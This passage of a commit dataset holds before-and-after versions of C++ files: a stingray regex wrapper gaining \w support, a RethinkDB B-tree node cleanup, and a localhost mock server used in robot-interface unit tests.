(!this->DoMatch(str.c_str(), matches))\n\t\t\t\treturn false;\n\n\t\t\tfor (size_t i = 0; i < matches.size(); ++i)\n\t\t\t{\n\t\t\t\tRegexMatch& submatch = matches[i];\n\t\t\t\tm._results.push_back(str.substr(submatch.Begin, submatch.GetLength()));\n\t\t\t\tm._positions.push_back(submatch.Begin);\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\n\t\tstd::string Replace(const std::string& str, const regex& re, const std::string& replacement, regex_constants::match_flag_type flags)\n\t\t{\n\t\t\tSTINGRAYKIT_CHECK((flags & ~regex_constants::format_first_only) == 0, NotImplementedException());\n\n\t\t\tReplacementEntryVec replacement_entries;\n\t\t\tPlatformRegex group_regex(\"\\\\\\\\(\\\\d+)\"); \/\/ TODO: cache this somewhere\n\t\t\tRegexMatchVec group_matches;\n\n\t\t\tsize_t replacement_begin = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (!group_regex.DoMatch(replacement.c_str() + replacement_begin, group_matches))\n\t\t\t\t{\n\t\t\t\t\tif (replacement_begin < replacement.size())\n\t\t\t\t\t\treplacement_entries.push_back(replacement.substr(replacement_begin));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (group_matches.at(0).Begin > 0)\n\t\t\t\t\treplacement_entries.push_back(replacement.substr(replacement_begin, group_matches.at(0).Begin));\n\t\t\t\treplacement_entries.push_back(FromString<int>(replacement.substr(group_matches.at(1).Begin, group_matches.at(1).GetLength())));\n\t\t\t\treplacement_begin += group_matches.at(0).End;\n\t\t\t} while (true);\n\n\t\t\tint begin = 0;\n\t\t\tstd::string result;\n\n\t\t\tRegexMatchVec matches;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (!this->DoMatch(str.c_str() + begin, matches))\n\t\t\t\t{\n\t\t\t\t\tresult += str.substr(begin);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tReplacementEntryVisitor visitor(str.c_str() + begin, matches);\n\n\t\t\t\tresult += str.substr(begin, matches.at(0).Begin);\n\t\t\t\tfor (ReplacementEntryVec::const_iterator it = replacement_entries.begin(); it != replacement_entries.end(); ++it)\n\t\t\t\t\tresult += apply_visitor(visitor, *it);\n\t\t\t\tbegin += matches.at(0).End;\n\t\t\t} while (true);\n\n\t\t\treturn result;\n\t\t}\n\t};\n\n#ifdef PLATFORM_POSIX\n\tclass PosixRegexImpl\n\t{\n\tprivate:\n\t\tstd::string\t_str;\n\t\tregex_t\t\t_regex;\n\n\tpublic:\n\t\tPosixRegexImpl(const std::string& str)\n\t\t\t: _str(str)\n\t\t{\n\t\t\tReplaceAll(_str, \"\\\\d\", \"[0-9]\");\n\n\t\t\tint ret = regcomp(&_regex, _str.c_str(), REG_EXTENDED);\n\t\t\tSTINGRAYKIT_CHECK(ret == 0, StringBuilder() % \"Could not compile regex '\" % _str % \"', ret = \" % ret % \"\\n\" % GetRegexError(_regex, ret));\n\t\t}\n\n\t\t~PosixRegexImpl()\n\t\t{ regfree(&_regex); }\n\n\t\tbool DoMatch(const char* str, RegexMatchVec& matches) const\n\t\t{\n\t\t\tstd::vector<regmatch_t> posix_matches(32);\n\t\t\tint ret = regexec(&_regex, str, posix_matches.size(), posix_matches.data(), 0);\n\n\t\t\tif (ret == REG_NOMATCH)\n\t\t\t\treturn false;\n\n\t\t\tif (ret != 0)\n\t\t\t\tSTINGRAYKIT_THROW(StringBuilder() % \"Could not execute regex '\" % _str % \"' for string '\" % str % \"', ret = \" % ret % \"\\n\" % GetRegexError(_regex, ret));\n\n\t\t\tint count = 0;\n\t\t\twhile (posix_matches[count].rm_so >= 0)\n\t\t\t\t++count;\n\n\n\t\t\tmatches.resize(count);\n\t\t\tfor (int i = 0; i < count; ++i)\n\t\t\t{\n\t\t\t\tmatches[i].Begin = posix_matches[i].rm_so;\n\t\t\t\tmatches[i].End = posix_matches[i].rm_eo;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\n\tprivate:\n\t\tstatic std::string GetRegexError(const regex_t& regex, int errCode)\n\t\t{\n\t\t\tstd::string result(256, '~');\n\t\t\tresult.resize(regerror(errCode, &regex, &result[0], result.size()));\n\t\t\treturn result;\n\t\t}\n\t};\n\n\ttypedef PosixRegexImpl\tPlatformRegexImpl;\n#endif\n\n\tclass regex::Impl : public BasicRegexImpl<PlatformRegexImpl>\n\t{\n\tpublic:\n\t\tImpl(const std::string& str) : BasicRegexImpl<PlatformRegexImpl>(str) { }\n\t};\n\n\n\tregex::regex(const std::string& str)\n\t\t: _impl(new Impl(str))\n\t{ }\n\n\tregex::regex(const regex& other)\n\t\t: _impl(other._impl)\n\t{ }\n\n\tregex::~regex()\n\t{ }\n\n\tregex& regex::operator = (const regex& other)\n\t{\n\t\t_impl = other._impl;\n\t\treturn *this;\n\t}\n\n\n\tbool regex_search(const std::string& str, smatch& m, const regex& re, regex_constants::match_flag_type flags)\n\t{\n\t\treturn re._impl->Search(str, m, flags);\n\t}\n\n\n\tstd::string regex_replace(const std::string& str, const regex& re, const std::string& replacement, regex_constants::match_flag_type flags)\n\t{\n\t\treturn re._impl->Replace(str, re, replacement, flags);\n\t}\n\n}\n<commit_msg>add \\w regex metacharacter support<commit_after>#include <stingray\/toolkit\/string\/regex.h>\n\n#ifdef PLATFORM_POSIX\n#\tinclude <regex.h>\n#else\n#\twarning No regex support on nonposix systems!\n#endif\n\n#include <stingray\/toolkit\/string\/StringUtils.h>\n#include <stingray\/toolkit\/exception.h>\n#include <stingray\/toolkit\/variant.h>\n\n\nnamespace stingray\n{\n\n\tstruct RegexMatch\n\t{\n\t\tint\tBegin;\n\t\tint\tEnd;\n\n\t\tRegexMatch() : Begin(0), End(0) { }\n\n\t\tint GetLength() const\n\t\t{\n\t\t\tint len = End - Begin;\n\t\t\tSTINGRAYKIT_CHECK(len > 0, \"Submatch length is negative!\");\n\t\t\treturn len;\n\t\t}\n\n\t\tstd::string ToString() const { return StringBuilder() % \"(\" % Begin % \", \" % End % \")\"; }\n\t};\n\n\ttypedef std::vector<RegexMatch>\t\t\t\t\t\tRegexMatchVec;\n\n\ttypedef variant<TypeList<std::string, int>::type>\tReplacementEntry;\n\ttypedef std::vector<ReplacementEntry>\t\t\t\tReplacementEntryVec;\n\n\tclass ReplacementEntryVisitor : public static_visitor<std::string>\n\t{\n\tprivate:\n\t\tconst char*\t\t\t\t_srcString;\n\t\tconst RegexMatchVec&\t_matches;\n\n\tpublic:\n\t\tReplacementEntryVisitor(const char* srcString, const RegexMatchVec& matches)\n\t\t\t: _srcString(srcString), _matches(matches)\n\t\t{ }\n\n\t\tstd::string operator () (int matchNumber) const\n\t\t{\n\t\t\tint i = matchNumber;\n\t\t\tSTINGRAYKIT_CHECK(i >= 0 && i < (int)_matches.size(), IndexOutOfRangeException(i, _matches.size()));\n\t\t\tstd::string res = std::string(_srcString + _matches[i].Begin, _matches[i].GetLength());\n\t\t\treturn res;\n\t\t}\n\n\t\tstd::string operator () (const std::string& str) const\n\t\t{ return str; }\n\t};\n\n\ttemplate < typename PlatformRegex >\n\tclass BasicRegexImpl : public PlatformRegex\n\t{\n\tpublic:\n\t\tBasicRegexImpl(const std::string& str)\n\t\t\t: PlatformRegex(str)\n\t\t{ }\n\n\t\tbool Search(const std::string& str, smatch& m, regex_constants::match_flag_type flags)\n\t\t{\n\t\t\tm._results.clear();\n\t\t\tm._positions.clear();\n\n\t\t\tSTINGRAYKIT_CHECK(flags == regex_constants::match_default, NotImplementedException());\n\n\t\t\tRegexMatchVec matches;\n\t\t\tif (!this->DoMatch(str.c_str(), matches))\n\t\t\t\treturn false;\n\n\t\t\tfor (size_t i = 0; i < matches.size(); ++i)\n\t\t\t{\n\t\t\t\tRegexMatch& submatch = matches[i];\n\t\t\t\tm._results.push_back(str.substr(submatch.Begin, submatch.GetLength()));\n\t\t\t\tm._positions.push_back(submatch.Begin);\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\n\t\tstd::string Replace(const std::string& str, const regex& re, const std::string& replacement, regex_constants::match_flag_type flags)\n\t\t{\n\t\t\tSTINGRAYKIT_CHECK((flags & ~regex_constants::format_first_only) == 0, NotImplementedException());\n\n\t\t\tReplacementEntryVec replacement_entries;\n\t\t\tPlatformRegex group_regex(\"\\\\\\\\(\\\\d+)\"); \/\/ TODO: cache this somewhere\n\t\t\tRegexMatchVec group_matches;\n\n\t\t\tsize_t replacement_begin = 0;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (!group_regex.DoMatch(replacement.c_str() + replacement_begin, group_matches))\n\t\t\t\t{\n\t\t\t\t\tif (replacement_begin < replacement.size())\n\t\t\t\t\t\treplacement_entries.push_back(replacement.substr(replacement_begin));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (group_matches.at(0).Begin > 0)\n\t\t\t\t\treplacement_entries.push_back(replacement.substr(replacement_begin, group_matches.at(0).Begin));\n\t\t\t\treplacement_entries.push_back(FromString<int>(replacement.substr(group_matches.at(1).Begin, group_matches.at(1).GetLength())));\n\t\t\t\treplacement_begin += group_matches.at(0).End;\n\t\t\t} while (true);\n\n\t\t\tint begin = 0;\n\t\t\tstd::string result;\n\n\t\t\tRegexMatchVec matches;\n\t\t\tdo\n\t\t\t{\n\t\t\t\tif (!this->DoMatch(str.c_str() + begin, matches))\n\t\t\t\t{\n\t\t\t\t\tresult += str.substr(begin);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tReplacementEntryVisitor visitor(str.c_str() + begin, matches);\n\n\t\t\t\tresult += str.substr(begin, matches.at(0).Begin);\n\t\t\t\tfor (ReplacementEntryVec::const_iterator it = replacement_entries.begin(); it != replacement_entries.end(); ++it)\n\t\t\t\t\tresult += apply_visitor(visitor, *it);\n\t\t\t\tbegin += matches.at(0).End;\n\t\t\t} while (true);\n\n\t\t\treturn result;\n\t\t}\n\t};\n\n#ifdef PLATFORM_POSIX\n\tclass PosixRegexImpl\n\t{\n\tprivate:\n\t\tstd::string\t_str;\n\t\tregex_t\t\t_regex;\n\n\tpublic:\n\t\tPosixRegexImpl(const std::string& str)\n\t\t\t: _str(str)\n\t\t{\n\t\t\tReplaceAll(_str, \"\\\\d\", \"[0-9]\");\n\t\t\tReplaceAll(_str, \"\\\\w\", \"[a-zA-Z0-9_]\");\n\n\t\t\tint ret = regcomp(&_regex, _str.c_str(), REG_EXTENDED);\n\t\t\tSTINGRAYKIT_CHECK(ret == 0, StringBuilder() % \"Could not compile regex '\" % _str % \"', ret = \" % ret % \"\\n\" % GetRegexError(_regex, ret));\n\t\t}\n\n\t\t~PosixRegexImpl()\n\t\t{ regfree(&_regex); }\n\n\t\tbool DoMatch(const char* str, RegexMatchVec& matches) const\n\t\t{\n\t\t\tstd::vector<regmatch_t> posix_matches(32);\n\t\t\tint ret = regexec(&_regex, str, posix_matches.size(), posix_matches.data(), 0);\n\n\t\t\tif (ret == REG_NOMATCH)\n\t\t\t\treturn false;\n\n\t\t\tif (ret != 0)\n\t\t\t\tSTINGRAYKIT_THROW(StringBuilder() % \"Could not execute regex '\" % _str % \"' for string '\" % str % \"', ret = \" % ret % \"\\n\" % GetRegexError(_regex, ret));\n\n\t\t\tint count = 0;\n\t\t\twhile (posix_matches[count].rm_so >= 0)\n\t\t\t\t++count;\n\n\n\t\t\tmatches.resize(count);\n\t\t\tfor (int i = 0; i < count; ++i)\n\t\t\t{\n\t\t\t\tmatches[i].Begin = posix_matches[i].rm_so;\n\t\t\t\tmatches[i].End = posix_matches[i].rm_eo;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\n\tprivate:\n\t\tstatic std::string GetRegexError(const regex_t& regex, int errCode)\n\t\t{\n\t\t\tstd::string result(256, '~');\n\t\t\tresult.resize(regerror(errCode, &regex, &result[0], result.size()));\n\t\t\treturn result;\n\t\t}\n\t};\n\n\ttypedef PosixRegexImpl\tPlatformRegexImpl;\n#endif\n\n\tclass regex::Impl : public BasicRegexImpl<PlatformRegexImpl>\n\t{\n\tpublic:\n\t\tImpl(const std::string& str) : BasicRegexImpl<PlatformRegexImpl>(str) { }\n\t};\n\n\n\tregex::regex(const std::string& str)\n\t\t: _impl(new Impl(str))\n\t{ }\n\n\tregex::regex(const regex& other)\n\t\t: _impl(other._impl)\n\t{ }\n\n\tregex::~regex()\n\t{ }\n\n\tregex& regex::operator = (const regex& other)\n\t{\n\t\t_impl = other._impl;\n\t\treturn *this;\n\t}\n\n\n\tbool regex_search(const std::string& str, smatch& m, const regex& re, regex_constants::match_flag_type flags)\n\t{\n\t\treturn re._impl->Search(str, m, flags);\n\t}\n\n\n\tstd::string regex_replace(const std::string& str, const regex& re, const std::string& replacement, regex_constants::match_flag_type flags)\n\t{\n\t\treturn re._impl->Replace(str, re, replacement, flags);\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2010-2014 RethinkDB, all rights reserved.\n#include \"btree\/node.hpp\"\n\n#include \"btree\/leaf_node.hpp\"\n#include \"btree\/internal_node.hpp\"\n\nconst block_magic_t btree_superblock_t::expected_magic = { { 's', 'u', 'p', 'e' } };\nconst block_magic_t internal_node_t::expected_magic = { { 'i', 'n', 't', 'e' } };\nconst block_magic_t btree_sindex_block_t::expected_magic = { { 's', 'i', 'n', 'd' } };\n\nvoid btree_superblock_ct_asserts() {\n    \/\/ Just some place to put the CT_ASSERTs\n    CT_ASSERT(btree_superblock_t::METAINFO_BLOB_MAXREFLEN > 0);\n    CT_ASSERT(from_cache_block_size_t<sizeof(btree_superblock_t)>::ser_size \\\n              == DEVICE_BLOCK_SIZE);\n}\n\nnamespace node {\n\nbool is_underfull(value_sizer_t *sizer, const node_t *node) {\n    if (node->magic == sizer->btree_leaf_magic()) {\n        return leaf::is_underfull(sizer, reinterpret_cast<const leaf_node_t *>(node));\n    } else {\n        rassert(is_internal(node));\n        return internal_node::is_underfull(sizer->block_size(), reinterpret_cast<const internal_node_t *>(node));\n    }\n}\n\nbool is_mergable(value_sizer_t *sizer, const node_t *node, const node_t *sibling, const internal_node_t *parent) {\n    if (sizer->btree_leaf_magic() == node->magic) {\n        return leaf::is_mergable(sizer, reinterpret_cast<const leaf_node_t *>(node), reinterpret_cast<const leaf_node_t *>(sibling));\n    } else {\n        rassert(is_internal(node));\n        return internal_node::is_mergable(sizer->block_size(), reinterpret_cast<const internal_node_t *>(node), reinterpret_cast<const internal_node_t *>(sibling), parent);\n    }\n}\n\n\nvoid split(value_sizer_t *sizer, node_t *node, node_t *rnode, btree_key_t *median) {\n    if (is_leaf(node)) {\n        leaf::split(sizer, reinterpret_cast<leaf_node_t *>(node),\n                    reinterpret_cast<leaf_node_t *>(rnode), median);\n    } else {\n        internal_node::split(sizer->block_size(), reinterpret_cast<internal_node_t *>(node),\n                             reinterpret_cast<internal_node_t *>(rnode), median);\n    }\n}\n\nvoid merge(value_sizer_t *sizer, node_t *node, node_t *rnode, const internal_node_t *parent) {\n    if (is_leaf(node)) {\n        leaf::merge(sizer, reinterpret_cast<leaf_node_t *>(node), reinterpret_cast<leaf_node_t *>(rnode));\n    } else {\n        internal_node::merge(sizer->block_size(), reinterpret_cast<internal_node_t *>(node), reinterpret_cast<internal_node_t *>(rnode), parent);\n    }\n}\n\nvoid validate(DEBUG_VAR value_sizer_t *sizer, DEBUG_VAR const node_t *node) {\n#ifndef NDEBUG\n    if (node->magic == sizer->btree_leaf_magic()) {\n        leaf::validate(sizer, reinterpret_cast<const leaf_node_t *>(node));\n    } else if (node->magic == internal_node_t::expected_magic) {\n        internal_node::validate(sizer->block_size(), reinterpret_cast<const internal_node_t *>(node));\n    } else {\n        unreachable(\"Invalid leaf node type.\");\n    }\n#endif\n}\n\n}  \/\/ namespace node\n<commit_msg>Removed superfluous backslash<commit_after>\/\/ Copyright 2010-2014 RethinkDB, all rights reserved.\n#include \"btree\/node.hpp\"\n\n#include \"btree\/leaf_node.hpp\"\n#include \"btree\/internal_node.hpp\"\n\nconst block_magic_t btree_superblock_t::expected_magic = { { 's', 'u', 'p', 'e' } };\nconst block_magic_t internal_node_t::expected_magic = { { 'i', 'n', 't', 'e' } };\nconst block_magic_t btree_sindex_block_t::expected_magic = { { 's', 'i', 'n', 'd' } };\n\nvoid btree_superblock_ct_asserts() {\n    \/\/ Just some place to put the CT_ASSERTs\n    CT_ASSERT(btree_superblock_t::METAINFO_BLOB_MAXREFLEN > 0);\n    CT_ASSERT(from_cache_block_size_t<sizeof(btree_superblock_t)>::ser_size\n              == DEVICE_BLOCK_SIZE);\n}\n\nnamespace node {\n\nbool is_underfull(value_sizer_t *sizer, const node_t *node) {\n    if (node->magic == sizer->btree_leaf_magic()) {\n        return leaf::is_underfull(sizer, reinterpret_cast<const leaf_node_t *>(node));\n    } else {\n        rassert(is_internal(node));\n        return internal_node::is_underfull(sizer->block_size(), reinterpret_cast<const internal_node_t *>(node));\n    }\n}\n\nbool is_mergable(value_sizer_t *sizer, const node_t *node, const node_t *sibling, const internal_node_t *parent) {\n    if (sizer->btree_leaf_magic() == node->magic) {\n        return leaf::is_mergable(sizer, reinterpret_cast<const leaf_node_t *>(node), reinterpret_cast<const leaf_node_t *>(sibling));\n    } else {\n        rassert(is_internal(node));\n        return internal_node::is_mergable(sizer->block_size(), reinterpret_cast<const internal_node_t *>(node), reinterpret_cast<const internal_node_t *>(sibling), parent);\n    }\n}\n\n\nvoid split(value_sizer_t *sizer, node_t *node, node_t *rnode, btree_key_t *median) {\n    if (is_leaf(node)) {\n        leaf::split(sizer, reinterpret_cast<leaf_node_t *>(node),\n                    reinterpret_cast<leaf_node_t *>(rnode), median);\n    } else {\n        internal_node::split(sizer->block_size(), reinterpret_cast<internal_node_t *>(node),\n                             reinterpret_cast<internal_node_t *>(rnode), median);\n    }\n}\n\nvoid merge(value_sizer_t *sizer, node_t *node, node_t *rnode, const internal_node_t *parent) {\n    if (is_leaf(node)) {\n        leaf::merge(sizer, reinterpret_cast<leaf_node_t *>(node), reinterpret_cast<leaf_node_t *>(rnode));\n    } else {\n        internal_node::merge(sizer->block_size(), reinterpret_cast<internal_node_t *>(node), reinterpret_cast<internal_node_t *>(rnode), parent);\n    }\n}\n\nvoid validate(DEBUG_VAR value_sizer_t *sizer, DEBUG_VAR const node_t *node) {\n#ifndef NDEBUG\n    if (node->magic == sizer->btree_leaf_magic()) {\n        leaf::validate(sizer, reinterpret_cast<const leaf_node_t *>(node));\n    } else if (node->magic == internal_node_t::expected_magic) {\n        internal_node::validate(sizer->block_size(), reinterpret_cast<const internal_node_t *>(node));\n    } else {\n        unreachable(\"Invalid leaf node type.\");\n    }\n#endif\n}\n\n}  \/\/ namespace node\n<|endoftext|>"}
{"text":"<commit_before>#include \"mock_server.h\"\n\n#include <sstream>\n\n#include <Poco\/Net\/DatagramSocket.h>\n#include <Poco\/Net\/ServerSocket.h>\n#include <Poco\/Net\/StreamSocket.h>\n#include <gtest\/gtest.h>\n\ntemplate <typename C>\nMockServer<C>::MockServer(ConnectCallbackT on_connect, uint32_t sequence_number)\n    : block_{false},\n      shutdown_{false},\n      continue_{false},\n      initialized_{false},\n      sequence_number_{sequence_number},\n      on_connect_{on_connect} {\n  std::unique_lock<std::mutex> lock(mutex_);\n  server_thread_ = std::thread(&MockServer<C>::serverThread, this);\n\n  cv_.wait(lock, [this] { return initialized_; });\n  lock.unlock();\n  spinOnce();  \/\/ spin to accept connections immediately\n}\n\ntemplate <typename C>\nMockServer<C>::~MockServer() {\n  {\n    std::lock_guard<std::mutex> _(mutex_);\n    shutdown_ = true;\n  }\n  cv_.notify_one();\n  server_thread_.join();\n\n  if (!commands_.empty()) {\n    std::stringstream ss;\n    ss << \"Mock server did not process all commands. Unprocessed commands:\" << std::endl;\n    while (!commands_.empty()) {\n      ss << commands_.front().first << std::endl;\n      commands_.pop();\n    }\n    ADD_FAILURE() << ss.str();\n  }\n}\n\ntemplate <typename C>\nMockServer<C>& MockServer<C>::onReceiveRobotCommand(\n    ReceiveRobotCommandCallbackT on_receive_robot_command) {\n  std::lock_guard<std::mutex> _(mutex_);\n  commands_.emplace(\"onReceiveRobotCommand\", [=](Socket&, Socket& udp_socket) {\n    research_interface::robot::RobotCommand robot_command;\n    udp_socket.receiveBytes(&robot_command, sizeof(robot_command));\n    on_receive_robot_command(robot_command);\n  });\n  return *this;\n}\n\ntemplate <typename C>\nMockServer<C>& MockServer<C>::spinOnce() {\n  std::unique_lock<std::mutex> lock(mutex_);\n  continue_ = true;\n  cv_.notify_one();\n  if (block_) {\n    cv_.wait(lock, [this]() { return !continue_; });\n  }\n  block_ = false;\n  return *this;\n}\n\ntemplate <typename C>\nvoid MockServer<C>::serverThread() {\n  std::unique_lock<std::mutex> lock(mutex_);\n\n  const std::string kHostname = \"localhost\";\n  Poco::Net::ServerSocket srv;\n\n  srv = Poco::Net::ServerSocket({kHostname, C::kCommandPort});  \/\/ does bind + listen\n  initialized_ = true;\n\n  cv_.notify_one();\n  cv_.wait(lock, [this] { return continue_; });\n\n  Poco::Net::SocketAddress remote_address;\n  Poco::Net::StreamSocket tcp_socket = srv.acceptConnection(remote_address);\n  tcp_socket.setBlocking(true);\n  tcp_socket.setNoDelay(true);\n\n  Socket tcp_socket_wrapper;\n  tcp_socket_wrapper.sendBytes = [&](const void* data, size_t size) {\n    int rv = tcp_socket.sendBytes(data, size);\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Send error on TCP socket\";\n  };\n  tcp_socket_wrapper.receiveBytes = [&](void* data, size_t size) {\n    int rv = tcp_socket.receiveBytes(data, size);\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Receive error on TCP socket\";\n  };\n\n  uint16_t udp_port;\n  handleCommand<typename C::Connect>(\n      tcp_socket_wrapper, [&, this](const typename C::Connect::Request& request) {\n        udp_port = request.udp_port;\n        return on_connect_ ? on_connect_(request)\n                           : typename C::Connect::Response(C::Connect::Status::kSuccess);\n      });\n\n  Poco::Net::DatagramSocket udp_socket({kHostname, 0});\n  udp_socket.setBlocking(true);\n  Socket udp_socket_wrapper;\n  udp_socket_wrapper.sendBytes = [&](const void* data, size_t size) {\n    int rv = udp_socket.sendTo(data, size, {remote_address.host(), udp_port});\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Send error on UDP socket\";\n  };\n  udp_socket_wrapper.receiveBytes = [&](void* data, size_t size) {\n    int rv = udp_socket.receiveFrom(data, size, remote_address);\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Receive error on UDP socket\";\n  };\n\n  typename C::State state{};\n  state.message_id = ++sequence_number_;\n  udp_socket_wrapper.sendBytes(&state, sizeof(state));\n\n  while (!shutdown_) {\n    cv_.wait(lock, [this] { return continue_ || shutdown_; });\n    while (!commands_.empty()) {\n      commands_.front().second(tcp_socket_wrapper, udp_socket_wrapper);\n      commands_.pop();\n    }\n\n    continue_ = false;\n    cv_.notify_one();\n  }\n\n  EXPECT_FALSE(udp_socket.poll(Poco::Timespan(), Poco::Net::Socket::SelectMode::SELECT_READ))\n      << \"UDP socket still has data\";\n\n  if (tcp_socket.poll(Poco::Timespan(), Poco::Net::Socket::SelectMode::SELECT_READ)) {\n    \/\/ Received something on the TCP socket.\n    \/\/ Test that the Server closed the connection.\n    std::array<uint8_t, 16> buffer;\n\n    int rv = tcp_socket.receiveBytes(buffer.data(), buffer.size());\n    EXPECT_EQ(0, rv) << \"TCP socket still has data\";\n  }\n}\n\ntemplate <typename C>\nMockServer<C>& MockServer<C>::generic(\n    std::function<void(MockServer<C>::Socket&, MockServer<C>::Socket&)> generic_command) {\n  std::lock_guard<std::mutex> _(mutex_);\n  commands_.emplace(\"generic\", generic_command);\n  return *this;\n}\n\ntemplate <typename C>\nvoid MockServer<C>::sendInitialState(Socket&) {}\n\ntemplate <>\nvoid MockServer<RobotTypes>::sendInitialState(Socket& udp_socket) {\n  research_interface::robot::RobotState state{};\n  state.message_id = ++sequence_number_;\n  udp_socket.sendBytes(&state, sizeof(state));\n}\n<commit_msg>MockServer: Only send initial state for Robot.<commit_after>#include \"mock_server.h\"\n\n#include <sstream>\n\n#include <Poco\/Net\/DatagramSocket.h>\n#include <Poco\/Net\/ServerSocket.h>\n#include <Poco\/Net\/StreamSocket.h>\n#include <gtest\/gtest.h>\n\ntemplate <typename C>\nMockServer<C>::MockServer(ConnectCallbackT on_connect, uint32_t sequence_number)\n    : block_{false},\n      shutdown_{false},\n      continue_{false},\n      initialized_{false},\n      sequence_number_{sequence_number},\n      on_connect_{on_connect} {\n  std::unique_lock<std::mutex> lock(mutex_);\n  server_thread_ = std::thread(&MockServer<C>::serverThread, this);\n\n  cv_.wait(lock, [this] { return initialized_; });\n  lock.unlock();\n  spinOnce();  \/\/ spin to accept connections immediately\n}\n\ntemplate <typename C>\nMockServer<C>::~MockServer() {\n  {\n    std::lock_guard<std::mutex> _(mutex_);\n    shutdown_ = true;\n  }\n  cv_.notify_one();\n  server_thread_.join();\n\n  if (!commands_.empty()) {\n    std::stringstream ss;\n    ss << \"Mock server did not process all commands. Unprocessed commands:\" << std::endl;\n    while (!commands_.empty()) {\n      ss << commands_.front().first << std::endl;\n      commands_.pop();\n    }\n    ADD_FAILURE() << ss.str();\n  }\n}\n\ntemplate <typename C>\nMockServer<C>& MockServer<C>::onReceiveRobotCommand(\n    ReceiveRobotCommandCallbackT on_receive_robot_command) {\n  std::lock_guard<std::mutex> _(mutex_);\n  commands_.emplace(\"onReceiveRobotCommand\", [=](Socket&, Socket& udp_socket) {\n    research_interface::robot::RobotCommand robot_command;\n    udp_socket.receiveBytes(&robot_command, sizeof(robot_command));\n    on_receive_robot_command(robot_command);\n  });\n  return *this;\n}\n\ntemplate <typename C>\nMockServer<C>& MockServer<C>::spinOnce() {\n  std::unique_lock<std::mutex> lock(mutex_);\n  continue_ = true;\n  cv_.notify_one();\n  if (block_) {\n    cv_.wait(lock, [this]() { return !continue_; });\n  }\n  block_ = false;\n  return *this;\n}\n\ntemplate <typename C>\nvoid MockServer<C>::serverThread() {\n  std::unique_lock<std::mutex> lock(mutex_);\n\n  const std::string kHostname = \"localhost\";\n  Poco::Net::ServerSocket srv;\n\n  srv = Poco::Net::ServerSocket({kHostname, C::kCommandPort});  \/\/ does bind + listen\n  initialized_ = true;\n\n  cv_.notify_one();\n  cv_.wait(lock, [this] { return continue_; });\n\n  Poco::Net::SocketAddress remote_address;\n  Poco::Net::StreamSocket tcp_socket = srv.acceptConnection(remote_address);\n  tcp_socket.setBlocking(true);\n  tcp_socket.setNoDelay(true);\n\n  Socket tcp_socket_wrapper;\n  tcp_socket_wrapper.sendBytes = [&](const void* data, size_t size) {\n    int rv = tcp_socket.sendBytes(data, size);\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Send error on TCP socket\";\n  };\n  tcp_socket_wrapper.receiveBytes = [&](void* data, size_t size) {\n    int rv = tcp_socket.receiveBytes(data, size);\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Receive error on TCP socket\";\n  };\n\n  uint16_t udp_port;\n  handleCommand<typename C::Connect>(\n      tcp_socket_wrapper, [&, this](const typename C::Connect::Request& request) {\n        udp_port = request.udp_port;\n        return on_connect_ ? on_connect_(request)\n                           : typename C::Connect::Response(C::Connect::Status::kSuccess);\n      });\n\n  Poco::Net::DatagramSocket udp_socket({kHostname, 0});\n  udp_socket.setBlocking(true);\n  Socket udp_socket_wrapper;\n  udp_socket_wrapper.sendBytes = [&](const void* data, size_t size) {\n    int rv = udp_socket.sendTo(data, size, {remote_address.host(), udp_port});\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Send error on UDP socket\";\n  };\n  udp_socket_wrapper.receiveBytes = [&](void* data, size_t size) {\n    int rv = udp_socket.receiveFrom(data, size, remote_address);\n    ASSERT_EQ(static_cast<int>(size), rv) << \"Receive error on UDP socket\";\n  };\n\n  sendInitialState(udp_socket_wrapper);\n\n  while (!shutdown_) {\n    cv_.wait(lock, [this] { return continue_ || shutdown_; });\n    while (!commands_.empty()) {\n      commands_.front().second(tcp_socket_wrapper, udp_socket_wrapper);\n      commands_.pop();\n    }\n\n    continue_ = false;\n    cv_.notify_one();\n  }\n\n  EXPECT_FALSE(udp_socket.poll(Poco::Timespan(), Poco::Net::Socket::SelectMode::SELECT_READ))\n      << \"UDP socket still has data\";\n\n  if (tcp_socket.poll(Poco::Timespan(), Poco::Net::Socket::SelectMode::SELECT_READ)) {\n    \/\/ Received something on the TCP socket.\n    \/\/ Test that the Server closed the connection.\n    std::array<uint8_t, 16> buffer;\n\n    int rv = tcp_socket.receiveBytes(buffer.data(), buffer.size());\n    EXPECT_EQ(0, rv) << \"TCP socket still has data\";\n  }\n}\n\ntemplate <typename C>\nMockServer<C>& MockServer<C>::generic(\n    std::function<void(MockServer<C>::Socket&, MockServer<C>::Socket&)> generic_command) {\n  std::lock_guard<std::mutex> _(mutex_);\n  commands_.emplace(\"generic\", generic_command);\n  return *this;\n}\n\ntemplate <typename C>\nvoid MockServer<C>::sendInitialState(Socket&) {}\n\ntemplate <>\nvoid MockServer<RobotTypes>::sendInitialState(Socket& udp_socket) {\n  research_interface::robot::RobotState state{};\n  state.message_id = ++sequence_number_;\n  udp_socket.sendBytes(&state, sizeof(state));\n}\n<|endoftext|>"}
